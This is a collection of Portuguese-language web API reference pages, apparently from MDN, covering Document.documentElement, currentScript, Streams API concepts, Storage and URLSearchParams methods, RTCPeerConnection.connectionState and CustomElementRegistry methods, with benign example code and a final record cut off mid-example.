{"title":"Document.documentElement - APIs da Web","text":"Document.documentElement\n========================\n\nO **document.documentElement** retorna o `Elemento` que é o elemento raiz do `documento` (por exemplo, o elemento `<html>` para documentos HTML).\n\nSintaxe\n-------\n```\n\nvar element = document.documentElement;\n```\n\nExemplo\n-------\n\n\n```js\nvar rootElement = document.documentElement;\nvar primeiroNivel = rootElement.childNodes;\n\n// primeiroNivel é a NodeList do filho direto do elemento raíz\nfor (var i = 0; i < primeiroNivel.length; i++) {\n  // faça algo com cada filho direto do elemento raiz\n  // como primeiroNivel[i]\n}\n```\n\nNotas\n-----\n\nEsta propriedade é uma conveniência somente leitura para obter o elemento raiz associado com qualquer documento.\n\nDocumentos HTML tipicamente contém somente um único nó filho, `<html>`, talvez com uma declaração DOCTYPE antes dele. Documentos XML, frequentemete contêm múltiplos nós filhos: o elemento de raiz, a declaração DOCTYPE, e as instruções de processamento.\n\nÉ por isso que você deve usar `document.documentElement` em vez de `document.firstChild` para obter o elemento raiz.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-documentelement① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.currentScript - APIs da Web","text":"Document.currentScript\n======================\n\nRetorna o elemento que está sendo processado atualmente.\n\nSintaxe\n-------\n```\n\nvar curScriptElement = document.currentScript;\n```\n\nExemplo\n-------\n\nO exemplo abaixo verifica se o script está sendo executado de forma assíncrona:\n\n\n```js\nif (document.currentScript.async) {\n  console.log(\"Execução assíncrona\");\n} else {\n  console.log(\"Execução síncrona\");\n}\n```\n\n\nView Live Examples\n\nNota\n----\n\nSe o código estiver sendo chamado como um callback ou manipulador de eventos, ele não irá referenciar o elemento; a referência ao elemento só acontece quando ele está sendo processado inicialmente.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEspecificações\n--------------\n\n* HTML5\nVeja também\n-----------\n\n* `<script>`\n* `element.onafterscriptexecute`\n* `element.onbeforescriptexecute`"}
{"title":"Conceitos da API Stream - APIs da Web","text":"Conceitos da API Stream\n=======================\n\nA Streams API adiciona conjunto muito útil de ferramentas à plataforma web, provendo objetos que permitem ao JavaScript acessar via programação dados de stream recebidos pela rede e processá-los conforme desejado pelo desenvolvedor. Alguns conceitos e terminologias associadas a streams podem ser novos pra você - este artigo explicará tudo o que você precisa saber.\n\nReadable streams\n----------------\n\nUm readable stream pode ser representado em JavaScript por um objeto `ReadableStream` (en-US) que flui de uma underlying source - é um recurso em algum lugar na rede ou outro lugar no domínio do qual deseja obter dados..\n\nHá dois tipos de fontes subjacentes:\n\n* **Push sources** constatemente envia dados enquanto os acessa, e você decide quando iniciar, pausar ou cancelar o acesso ao stream. Exemplos deste tipo incluem stream de vídeo e sockets TCP/Web sockets.\n* **Pull sources** requer que você requisite os dados explicitamente uma conectado. Exemplos deste tipo incluem operações de acesso a arquivos via chamada Fetch ou XHR (en-US).\n\n O dado é lido sequencialmente em pequenos blocos de informação chamado chunks. Um chunk por ser um simples byte, ou, pode ser algo maior como um typed array de um certo tamanho.\n Um simples stream pode conter chunks de diferentes tamanhos e tipos.\n\n ![](/pt-BR/docs/Web/API/Streams_API/Concepts/readable_streams.png)\n\nOs chunks alocados em um stream são ditos **enqueued** (enfileirados) — isto significa que eles estão aguardando em uma fila prontos para serem lidos. Uma **internal queue** rastreia os chunks que ainda não foram lidos (veja filas internas e estratégias de enfileiramento na sessão abaixo).\n\nOs chunks dentro de um stream são lidos por um **reader** — este processa o dado de um chunk por vez, permitindo fazer qualquer tipo de operação que desejar .O reader com mais outro código de processamento junto é chamado **consumer**.\n\nHá também uma construção que você usará chamada **controller** — cada reader tem um controller associado que lhe permite controlar o stream (por exemplo, cancelá-lo se desejar).\n\nApenas um reader pode ler um stream por vez; quando um reader é criado e inicia a leitura de um stream (um **active reader**), dizemos que ele está **atrelado** a ele. Se você deseja outro reader para iniciar a leitura de seu stream, você precisa tipicamente cancelar o primeiro reader antes de fazer qualquer coisa (embora você possa usar um stream **tee**, veja Teeing na sessão abaixo)\n\nObserve que há dois tipos diferentes de readable streams. Assim como um readable stream convencional há um tipo chamado byte stream - este é uma versão extendida de um stream convencional para leitura de underlying byte sources (de outra forma conhecido como BYOB, ou \"bring your own buffer\"). Estes permitem que streams sejam lidos diretamente em um buffer fornecido pelo desenvolvedor, minimizando a cópia necessária. Tal underlying stream (e por extensão, reader e controller) seu código dependerá em primeiro lugar de como o stream foi criado (veja o `ReadableStream.ReadableStream()` (en-US) construtor de página).\n\n**Aviso:** **Importante**: Bytes streams não estão implementados ainda em algum lugar, e foram levantadas questões sobre se os detalhes de especificação estão em condições para serem implementados. Isto pode mudar com o tempo.\n\nVocê pode fazer uso dos stream readers já implementados via mecanismos como `Response.body` (en-US) como uma requisição, ou com seus próprios streams usando o `ReadableStream.ReadableStream()` (en-US) como construtor.\n\nTeeing\n------\n\nEmbora um único reader possa ler um stream por vez, é possível dividir um stream em duas cópias idênticas, que podem então serem lidas por dois readers distintos. Isto é chamado **teeing.**\n\nEm JavaScript, isto pode ser alcançado pelo método `ReadableStream.tee()` (en-US) — ele retorna um array contendo duas cópias idêniticas o readable stream original, o qual pode então ser lido independentemente por dois readers separados.\n\nVocê deve fazê-lo por exemplo em um ServiceWorker se deseja pegar a resposta de um servidor e disponibilizar via stream no navegador, mas, também disponibilizá-lo via cache do ServiceWorker. Uma vez que o corpo da resposta não pode ser consumido mais que uma vez, e um stream não pode ser lido por mais de um reader por vez, você precisaria de duas cópias para fazer isto.\n\n![](/pt-BR/docs/Web/API/Streams_API/Concepts/tee.png)\n\nWritable streams\n----------------\n\nUm **writable stream** é o destino o qual você pode escrever dados, representado em JavaScript pelo objeto `WritableStream` (en-US). Ele serve como uma camada de abstração sobre um **underlying sink** — um I/O de baixo-nivel que sincroniza quais dados brutos são escritos.\n\nO dado é escrito para o stream via um **writer,** um chunk por vez. Um chunk pode ter uma infinidade de formas, assim como os chunk em um reader. Você pode usar qualquer código que desejar para produzir chunks prontos para escrever, mais o código associado ao **producer.**\n\nQuando um writer é criado e inicia a escrita para um stream (um **active writer**), dizemos estar **locked** (atrelado) a este. Apenas um writer opde escrever em um writable stream por vez. Se deseja outro writer iniciar a escrita em seu stream, você deve tipicamente abortá-lo antes de anexar outro write à ele.\n\nUma **internal queue** mantém os chunks que foram escritos por um stream mas não foram ainda processados por underlying sink.\n\nHá uma construção que você usará chamada controller — cada writer tem um controller associado que permite a você controlar o stream (por exemplo, abortá-lo se desejado).\n\n![](/pt-BR/docs/Web/API/Streams_API/Concepts/writable_streams.png)\n\nVocê pode fazer uso de writable streams usando o construtor\n\nYou can make use of writable streams using the `WritableStream.WritableStream()` (en-US). Estes atualmente possuem uma disponibilidade limitada nos navegadores.\n\nPipe chains\n-----------\n\nA API de Streams torna possível encadear streams (ou pelo menos irá fazer quando os navegadores implementarem a funcionalidade relevante para tal) usando uma estrutura chamada **pipe chain**. Há dois métodos disponíveis na especificação para facilitá-lo:\n\n* `ReadableStream.pipeThrough()` (en-US) — pipes de stream através do **transform stream**, que é um par compreendido do writable stream que possui dados escritos, e readable stream que então tem os dados lidos dele — ele atua como um tipo de esteira que constantemente pega a entrada de dados e os transforma em um outro estado. Efetivamente o mesmo stream é escrito para então os mesmos valores serem lidos. Um simples exemplo é um decodificador de texto, onde bytes brutos são escritos, e então strings são lidas. Você pode encontrar mais ideias úteis e exemplos na especificação — leia Transform streams para ideias e this web sockets example.\n* `ReadableStream.pipeTo()` (en-US) — pipes para um writable stream que atua como um ponto final para a pipe chain.\n\nPara iniciar um pipe chain é chamado o **original source**, e no final é chamado **ultimate sink**.\n\n![](/pt-BR/docs/Web/API/Streams_API/Concepts/pipechain.png)\n\n**Nota:** Esta funcionalidade não está totalmente pensada ainda, embora disponível em muitos navegadores. Até certo ponto espero que a especificação dos writers pode contribuir para algo como uma clase `TransformStream` para criar facilmente transform stream.\n\nBackpressure\n------------\n\nUm importante conceito sobre streams é **backpressure** — é um processo pelo qual um stream simples ou uma pipe chain ajusta a velocidade de leitura/escrita. Quando um stream mais tarde na conrrente continua ocupado e não está ainda pronto para aceitar mais chunks, ele envia um sinal de volta através da corrente informar mais tarde o transform stream (ou a fonte original) para diminuir a velocidade de entrega conforme apropriado tal que você não precise terminar com um gargalo em algum lugar.\n\nPara usar backpressure em um ReadableStream, podemos perguntar ao controller pelo tamanho do chunk desejado pelo consumer consultando o atributo `ReadableStreamDefaultController.desiredSize` (en-US) no controller. Se estiver muito baixo, nosso ReadableStream pode informar sua underlying source de dados e o backpressure junto a cadeira de stream.\n\nSe mais tarde o consumer novamente deseja receber dados, podemos usar o método pull no stream para informar nossa underlying source para alimentar nosso stream com dados.\n\nInternal queues and queuing strategies\n--------------------------------------\n\nComo mencionado antes, os chunks de um stream que não foram ainda processados e finalizados são mantidos por uma internal queue (fila interna).\n\n* No caso de readable stream, esses chunks foram enfileirados mas ainda não lidos.\n* No caso do writable stream, esses chunks que foram escritos mas ainda não processados pela underlying sink.\n\nFilas internas trabalham com uma **queuing strategy**, o qual dita informar a backpressure baseado na **internal queue state.**\n\nEm geral, a estratégia compara o tamanho dos chunks na fila com o valor chamado no **high water mark**, o qual é o total do maior valor de chunk que a fila pode gerenciar de modo realista.\n\nO cálculo realizado é\n```\n\nhigh water mark - total size of chunks in queue = desired size\n```\n\n\nO **desired size** é o tamanho de chunks que um stream ainda pode aceitar para manter o fluxo do stream menor que o high water mark. Após o cálculo ser efetuado, a geração de chunks terá sua velocidade reduzida ou aumentada conforme apropriado para manter o fluxo do stream o mais rápido possível enquanto mantém o tamanho desejado acima de zero. Se o valor cair para zero (ou menor no caso de writable streams), significa que os chunks estão sendo gerados mais rápido que o stream pode lidar, o qual resulta em problemas.\n\n**Nota:** O que ocorre no caso em que valor desejado for zero ou negativo não foi definido na especificação até o momento. Paciência é uma virtude.\n\nComo um exemplo, vamos pegar um chunk de tamanho 1, e uma high water mark de 3. Isto significa que até 3 chunks podem ser enfileirados antes que a high water mark seja alcançada e o backpressure aplicado."}
{"title":"Storage.removeItem() - APIs da Web","text":"Storage.removeItem()\n====================\n\nO método `removeItem()` da interface `Storage`, quando passado um nome de chave, irá remover essa chave do armazenamento.\n\nSyntax\n------\n```\n\nstorage.removeItem(keyName);\n```\n\n### Parâmetros\n\n***keyName***\n\nA `DOMString` contendo o nome da chave que você deseja remover.\n\n### Retorno\n\n*Nenhum valor de retorno.*\n\nExemplo\n-------\n\nA função a seguir cria três itens de dados no armazenamento local, em seguida, remove o item \"image\".\n\n\n```js\nfunction populateStorage() {\n  localStorage.setItem(\"bgcolor\", \"red\");\n  localStorage.setItem(\"font\", \"Helvetica\");\n  localStorage.setItem(\"image\", \"myCat.png\");\n\n  localStorage.removeItem(\"image\");\n}\n```\n\n\n**Nota:** Para ver o uso em um exemplo prático veja nosso Web Storage Demo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-storage-removeitem-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nUsando a API Web Storage"}
{"title":"Storage.key() - APIs da Web","text":"Storage.key()\n=============\n\nO método **`key()`** da interface `Storage`, quando passado um número n, retorna o nome da n-ésima chave no dado objeto `Storage`. A ordem das chaves é definida pelo user-agent, então não deve-se confiar nela.\n\nSyntax\n------\n```\n\nvar aKeyName = storage.key(index);\n```\n\n### Parâmetros\n\n`index`\n\nUm inteiro representando o número da chave que deseja obter. Esse é um índice que começa em zero.\n\n### Retorno\n\nUma `DOMString` contendo o nome da chave. Se o index não existir, retornará `null`.\n\nExemplos\n--------\n\nA função a seguir itera sobre as chaves do armazenamento local:\n\n\n```js\nfunction forEachKey(callback) {\n  for (var i = 0; i < localStorage.length; i++) {\n    callback(localStorage.key(i));\n  }\n}\n```\n\n\nA função a seguir itera sobre as chaves do armazenamento local e obtém o valor de cada chave:\n\n\n```js\nfor (var i = 0; i < localStorage.length; i++) {\n  console.log(localStorage.getItem(localStorage.key(i)));\n}\n```\n\n\n**Nota:** Pra ver um exemplo real, consulte nossa Demonstração de armazenamento na Web.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-storage-key-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using the Web Storage API"}
{"title":"Storage.length - APIs da Web","text":"Storage.length\n==============\n\nA propriedade length, que é somente leitura, da interface `Storage` retorna um inteiro que representa o número de itens armazenados no objeto `Storage`.\n\nSintaxe\n-------\n```\n\nvar aLength = storage.length;\n```\n\n### Retorno\n\nUm inteiro\n\nExemplo\n-------\n\nA função a seguir adiciona três itens ('bgcolor', 'font' e 'image') ao local storage do domínio atual, em seguida retorna o número de itens no storage:\n\n\n```js\nfunction populateStorage() {\n  localStorage.setItem(\"bgcolor\", \"yellow\");\n  localStorage.setItem(\"font\", \"Helvetica\");\n  localStorage.setItem(\"image\", \"cats.png\");\n\n  localStorage.length; // should return 3\n}\n```\n\n\n**Nota:** Para um exemplo do mundo real, veja nosso Web Storage Demo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-storage-length-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nUsando a API Web Storage"}
{"title":"Storage.setItem() - APIs da Web","text":"Storage.setItem()\n=================\n\nO método `setItem()` da interface `Storage`, quando passado 'chave' e 'valor', irá adicionar esta chave ao storage, ou atualizar o valor caso a chave já exista.\n\nSyntax\n------\n```\n\nstorage.setItem(keyName, keyValue);\n```\n\n### Parâmetros\n\n*keyName*\n\nUm `DOMString` contendo o nome da chave que você deseja criar ou alterar.\n\n*keyValue*\n\nUm `DOMString` contendo o valor da chave que você está criando ou atualizando.\n\n### Retornos\n\n*Sem retorno.*\n\n### Exceções\n\n`setItem()` poderá lançar uma exceção caso o storage esteja cheio. Particularmente, no Safari Mobile (desde o iOS 5) sempre irá lançar quando o usuário entrar em modo privado (Safari define a quota para 0 bytes no modo privado ao contrário de outros navegadores que permitem o armazenamento em modo privado, usando recipientes de dados separados).\n Assim os desenvolvedores devem certificar-se de **sempre tratar as possíveis exceções do `setItem()`**.\n\nExemplo\n-------\n\nA função abaixo irá criar três dados dentro do local storage.\n\n\n```js\nfunction populateStorage() {\n  localStorage.setItem(\"bgcolor\", \"red\");\n  localStorage.setItem(\"font\", \"Helvetica\");\n  localStorage.setItem(\"image\", \"myCat.png\");\n}\n```\n\n\n**Nota:** Para ver ele sendo usado em um exemplo real, consulte nosso Web Storage Demo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-storage-setitem-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nUsando a Web Storage API"}
{"title":"Storage.clear() - APIs da Web","text":"Storage.clear()\n===============\n\nO método `clear()` da interface `Storage`, quando realizado uma chamada, todas as chaves do armazenamento são esvaziadas.\n\nSyntaxe\n-------\n\n\n```js\nstorage.clear();\n```\n\n### Parametros\n\n*Nenhum parametro..*\n\n### Retorno\n\n*Nenhum retorno.*\n\nExemplo\n-------\n\nA função abaixo cria três itens e armazenam localmente, depois remove todos utilizando a função clear().\n\n\n```js\nfunction populateStorage() {\n  localStorage.setItem(\"bgcolor\", \"red\");\n  localStorage.setItem(\"font\", \"Helvetica\");\n  localStorage.setItem(\"image\", \"myCat.png\");\n\n  localStorage.clear();\n}\n```\n\n\n**Nota:** Para visualizar um exemplo real, veja nossa seção Demonstração de Web Storage.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-storage-clear-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nUtilizando a API Web Storage"}
{"title":"localStorage.getItem() - APIs da Web","text":"localStorage.getItem()\n======================\n\nPassar o nome da chave para o método `getItem()` da interface `Storage` retornará o seu valor.\n\nSintaxe\n-------\n```\n\nvar aValue = localStorage.getItem(keyName);\n```\n\n### Parâmetros\n\n*`keyName`*\n\nUm `DOMString` contendo o nome da chave cujo valor você quer obter.\n\n### Retorno\n\nUm `DOMString` contendo o valor da chave. Se a chave não existe, é retornado null.\n\nExemplo\n-------\n\nA função seguinte recupera três itens armazenados no local storage e usa-os para definir estilos customizados em uma página.\n\n\n```js\nfunction setStyles() {\n  var currentColor = localStorage.getItem(\"bgcolor\");\n  var currentFont = localStorage.getItem(\"font\");\n  var currentImage = localStorage.getItem(\"image\");\n\n  document.getElementById(\"bgcolor\").value = currentColor;\n  document.getElementById(\"font\").value = currentFont;\n  document.getElementById(\"image\").value = currentImage;\n\n  htmlElem.style.backgroundColor = \"#\" + currentColor;\n  pElem.style.fontFamily = currentFont;\n  imgElem.setAttribute(\"src\", currentImage);\n}\n```\n\n\n**Nota:** Para ver essa funcionalidade aplicada a um exemplo real, veja nossa Web Storage Demo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-storage-getitem-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nUsando a API Web Storage"}
{"title":"URLSearchParams.get() - APIs da Web","text":"URLSearchParams.get()\n=====================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO métod **get()** da interface `URLSearchParams`, retorna o primeiro valor associado ao parametro de busca fornecido.\n\nSyntax\n------\n```\n\nURLSearchParams.get(name)\n```\n\n### Parâmetros\n\nname\n\nO nome do parâmetro à ser retornado.\n\n### Retorno\n\nUm `USVString` (en-US) se o parâmetro de pesquisa for encontrado; Caso contrário, **`null`**.\n\nExemplo\n-------\n\nSe a URL da sua página é `https://example.com/?name=Jonathan&age=18` você pode obter o parâmetro 'name' e 'age' usando:\n```\n\nlet params = new URLSearchParams(document.location.search.substring(1));\nlet name = params.get(\"name\"); // retorna a string \"Jonathan\"\nlet age = parseInt(params.get(\"age\"), 10); // retorna o número 18\n```\n\n\nBuscar um parâmetro que não esteja presente na string de pesquisa, retornará **`null`**:\n```\n\nlet address = params.get(\"address\"); // null\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-urlsearchparams-get |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"URLSearchParams.values() - APIs da Web","text":"URLSearchParams.values()\n========================\n\nO m*étodo* \\*\\*`URLSearchParams.values()`\\*\\*retorna um `iterator` que permite passar por todos os valores do objeto. Os valores são objetos `USVString` (en-US).\n\n**Nota:** Esse método está disponível no Web Workers.\n\nSintaxe\n-------\n```\n\nsearchParams.values();\n```\n\n### Valor de retorno\n\nRetorna um `iterator`.\n\nExemplo\n-------\n\n\n```js\n// Cria um objeto URLSearchParams\nvar searchParams = new URLSearchParams(\"key1=value1&key2=value2\");\n\n// Mostra os pares de chave/valor\nfor (var value of searchParams.values()) {\n  console.log(value);\n}\n```\n\n\nO resultado é:\n```\n\nvalue1\nvalue2\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-urlsearchparams-urlsearchparams |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outras interfaces relacionadas à URL: `URL`, `URLUtils`."}
{"title":"RTCPeerConnection.connectionState - APIs da Web","text":"RTCPeerConnection.connectionState\n=================================\n\nA propriedade **`connectionState`** do tipo somente leitura da interface `RTCPeerConnection` (en-US) indica o estado atual da conexão em par, devolvendo um valor em string específicado por um enum `RTCPeerConnection` (en-US).\n\nQuando o valor da propriedade muda, o evento `connectionstatechange` é enviado para a intância `RTCPeerConnection` (en-US).\n\nSyntax\n------\n```\n\nvar connectionState = RTCPeerConnection.connectionState;\n```\n\n### Value\n\nO estado atual da conexão, como um valor do enum `RTCPeerConnectionState`.\n\n{{page(\"/pt-BR/docs/Web/API/RTCPeerConnection\", \"RTCPeerConnectionState enum\", 0, 1)}}Example\n-------\n\n\n```js\nvar pc = new RTCPeerConnection(configuration);\n\n/\\* ... \\*/\n\nvar connectionState = pc.connectionState;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebRTC: Real-Time Communication in Browsers # dom-peerconnection-connection-state |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Lifetime of a WebRTC session (en-US)\n* `RTCPeerConnection` (en-US)\n* `connectionstatechange`\n* WebRTC (en-US)"}
{"title":"CustomElementRegistry.whenDefined() - APIs da Web","text":"CustomElementRegistry.whenDefined()\n===================================\n\n O **`whenDefined()`** é um método de `CustomElementRegistry` e a interface retorna uma `Promise` que é resolvido quando o elemento nomeado é\n definido.\n\nSyntax\n------\n\n\n```js\ncustomElements.whenDefined(name): Promise<CustomElementConstructor>;\n```\n\n### Parâmetros\n\nname\n\nNome do elemento personalizado.\n\n### Valor de retorno\n\n A `Promise` que será cumprida com o elemento personalizado (en-US)'s construtor quando um\n custom element (en-US) torna-se definido com o nome fornecido. (Se o custom element (en-US) já foi\n definido, a promessa devolvida será imediatamente cumprida.)\n\n### Exceções\n\n| Exceção | Descrição |\n| --- | --- |\n| `SyntaxError` | Se o nome fornecido não for um nome de elemento personalizado válido, a promessa rejeita com um `SyntaxError`. |\n\nExemplos\n--------\n\n Este exemplo usa `whenDefined()` para detectar quando os elementos personalizados que compõem um menu são definidos. O menu exibe o conteúdo do espaço reservado até que o conteúdo do\n menu real esteja pronto para ser exibido.\n\n\n```html\n<nav id=\"menu-container\">\n  <div class=\"menu-placeholder\">Loading...</div>\n  <nav-menu>\n    <menu-item>Item 1</menu-item>\n    <menu-item>Item 2</menu-item>\n    ...\n    <menu-item>Item N</menu-item>\n  </nav-menu>\n</nav>\n```\n\n\n\n```js\nconst container = document.getElementById(\"menu-container\");\nconst placeholder = container.querySelector(\".menu-placeholder\");\n// Busca todos os filhos do menu que ainda não foram definidos.\nconst undefinedElements = container.querySelectorAll(\":not(:defined)\");\n\nasync function removePlaceholder() {\n  const promises = [...undefinedElements].map((button) =>\n    customElements.whenDefined(button.localName),\n  );\n\n  // Espere que todos os filhos sejam atualizados\n  await Promise.all(promises);\n  // em seguida, remova o espaço reservado\n  container.removeChild(placeholder);\n}\n\nremovePlaceholder();\n```\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-customelementregistry-whendefined-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"CustomElementRegistry.upgrade() - APIs da Web","text":"CustomElementRegistry.upgrade()\n===============================\n\n O **`upgrade()`** é um método de `CustomElementRegistry` a interface atualiza todos os shadow-containing custom elements em um `Node` da\n subárvore, mesmo antes de estarem conectados ao principal documento.\n\nSyntax\n------\n\n\n```js\ncustomElements.upgrade(root);\n```\n\n### Parâmetros\n\n`root`\n\n Uma instância de `Node` com shadow-containing os elementos descendentes que serão atualizados. Se não houver elementos descendentes que possam ser atualizados, nenhum erro será\n emitido.\n\n\n### Valor de retorno\n\nVoid.\n\nExemplos\n--------\n\nRetirado de HTML spec:\n\n\n```js\nconst el = document.createElement(\"spider-man\");\n\nclass SpiderMan extends HTMLElement {}\ncustomElements.define(\"spider-man\", SpiderMan);\n\nconsole.assert(!(el instanceof SpiderMan)); // Ainda não atualizado\n\ncustomElements.upgrade(el);\nconsole.assert(el instanceof SpiderMan); // Atualizado!\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-customelementregistry-upgrade-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"CustomElementRegistry.define() - APIs da Web","text":"CustomElementRegistry.define()\n==============================\n\nLimited availability\n--------------------\n\nThis feature is not Baseline because it does not work in some of the most widely-used browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO método **`define()`** da interface `CustomElementRegistry` define um novo elemento personalizado.\n\nDois tipos de elementos personalizados podem ser criados:\n\n* **Elementos personalizados autônomos**: Elementos autônomos; estes herdam de HTMLElement (Elemento HTML genérico).\n* **Elementos personalizados pré-construídos**: Estes elementos herdam - e estendem - elementos HTML já existentes (p.ej HTMLParagraphElement que é um elemento HTML\n `<p>`).\nSintaxe\n-------\n```\n\ncustomElements.define(name, constructor, options);\n```\n\n### Parâmetros\n\nname\n\nNome do novo item personalizado. Observe que os nomes dos elementos personalizados devem conter um hífen.\n\nconstructor\n\nConstrutor para o novo elemento personalizado\n\noptions Optional\n\nUm objeto que controla como o elemento é definido. Atualmente, apenas uma opção é permitida:\n\n* `extends`: String que especifica o nome do elemento pré-definido a partir do qual se estende. Usado para criar*elementos personalizados pré-construídos*.\n\n### Valor de retorno\n\nVoid.\n\n### Exceções\n\n| Exceção | Descrição |\n| --- | --- |\n| `NotSupportedError` | El `CustomElementRegistry` já contém uma entrada com o mesmo nome ou o mesmo construtor (ou já foi definido de alguma outra forma), ou foi especificado `extends` mas o elemento do qual você está tentando estender é desconhecido. |\n| `SyntaxError` | O nome fornecido não é um nome de elemento personalizado válido. |\n| `TypeError` | O constructor referenciado não é um constructor |\n\n**Nota:** Exceções são frequentemente obtidas `NotSupportedError`s quando o método `define()` está falhando, mas é realmente um problema relacionado a\n `Element.attachShadow()` (en-US).\n\n\nExemplos\n--------\n\n### Elemento personalizado autônomo\n\nO código a seguir é retirado do nosso exemplo popup-info-box-web-component (ver ao vivo).\n\n\n```js\n// Crie uma classe para o elemento\nclass PopUpInfo extends HTMLElement {\n  constructor() {\n    // Sempre a primeira coisa a fazer é chamar super no construtor\n    super();\n\n    // crie um shadow root\n    var shadow = this.attachShadow({ mode: \"open\" });\n\n    // Crie três elementos span\n    var wrapper = document.createElement(\"span\");\n    wrapper.setAttribute(\"class\", \"wrapper\");\n\n    var icon = document.createElement(\"span\");\n    icon.setAttribute(\"class\", \"icon\");\n    icon.setAttribute(\"tabindex\", 0);\n\n    var info = document.createElement(\"span\");\n    info.setAttribute(\"class\", \"info\");\n\n    // Pegue o conteúdo do atributo de texto e coloque-o no span info\n    var text = this.getAttribute(\"text\");\n    info.textContent = text;\n\n    // Pegue o conteúdo do atributo img (se existir) e coloque-o no ícone de span\n    var imgUrl;\n    if (this.hasAttribute(\"img\")) {\n      imgUrl = this.getAttribute(\"img\");\n    } else {\n      imgUrl = \"img/default.png\";\n    }\n\n    // A extensão não pode ter diretamente uma imagem, mas se contiver um elemento img\n    var img = document.createElement(\"img\");\n    img.src = imgUrl;\n    icon.appendChild(img);\n\n    // Crie os estilos CSS e inclua-os no shadow DOM\n    var style = document.createElement(\"style\");\n\n    style.textContent =\n      \".wrapper {\" +\n      \"position: relative;\" +\n      \"}\" +\n      \".info {\" +\n      \"font-size: 0.8rem;\" +\n      \"width: 200px;\" +\n      \"display: inline-block;\" +\n      \"border: 1px solid black;\" +\n      \"padding: 10px;\" +\n      \"background: white;\" +\n      \"border-radius: 10px;\" +\n      \"opacity: 0;\" +\n      \"transition: 0.6s all;\" +\n      \"position: absolute;\" +\n      \"bottom: 20px;\" +\n      \"left: 10px;\" +\n      \"z-index: 3;\" +\n      \"}\" +\n      \"img {\" +\n      \"width: 1.2rem\" +\n      \"}\" +\n      \".icon:hover + .info, .icon:focus + .info {\" +\n      \"opacity: 1;\" +\n      \"}\";\n\n    // anexar os elementos criados (extensões e estilo) ao shadow DOM\n    // observe que o span wrapper contém o ícone e os spans de informações\n\n    shadow.appendChild(style);\n    shadow.appendChild(wrapper);\n    wrapper.appendChild(icon);\n    wrapper.appendChild(info);\n  }\n}\n\n// Defina um novo elemento\ncustomElements.define(\"popup-info\", PopUpInfo);\n```\n\n\n\n```html\n<popup-info\n img=\"img/alt.png\"\n text=\"O código de validação do seu cartão (CVC) é um recurso segurança extra - consiste em 3 ou 4 números no verso do seu cartão.\"></popup-info>\n```\n\n\n**Nota:** Construtores de elementos personalizados autocontidos devem estender `HTMLElement` (en-US).\n\n### Elemento personalizado pré-construído\n\nO código a seguir é retirado do nosso exemplo word-count-web-component (ver ao vivo).\n\n\n```js\n// Crie uma classe para o elemento\nclass WordCount extends HTMLParagraphElement {\n  constructor() {\n    // Sempre a primeira coisa a fazer é chamar super no construtor\n    super();\n\n    // contar palavras do pai deste elemento\n    var wcParent = this.parentNode;\n\n    // A função countWords conta palavras (mesmo que sejam separadas por amis de um espaço)\n    // que existe no nó passado como parâmetro.\n    // innerText está definido para objetos HTMLElement, enquanto textContent para todos os objetos Node\n    // o operador || nos faz pegar pelo menos um dos dois\n\n    function countWords(node) {\n      var text = node.innerText || node.textContent;\n      return text.split(/\\s+/g).length;\n    }\n\n    var count = \"Words: \" + countWords(wcParent);\n\n    // crie um shadow root\n    var shadow = this.attachShadow({ mode: \"open\" });\n\n    // Crie um nó span com o número de palavras\n    var text = document.createElement(\"span\");\n    text.textContent = count;\n\n    // Adicione ao shadow root\n    shadow.appendChild(text);\n\n    // Atualize o contador quando o conteúdo do elemento mudar\n    setInterval(function () {\n      var count = \"Words: \" + 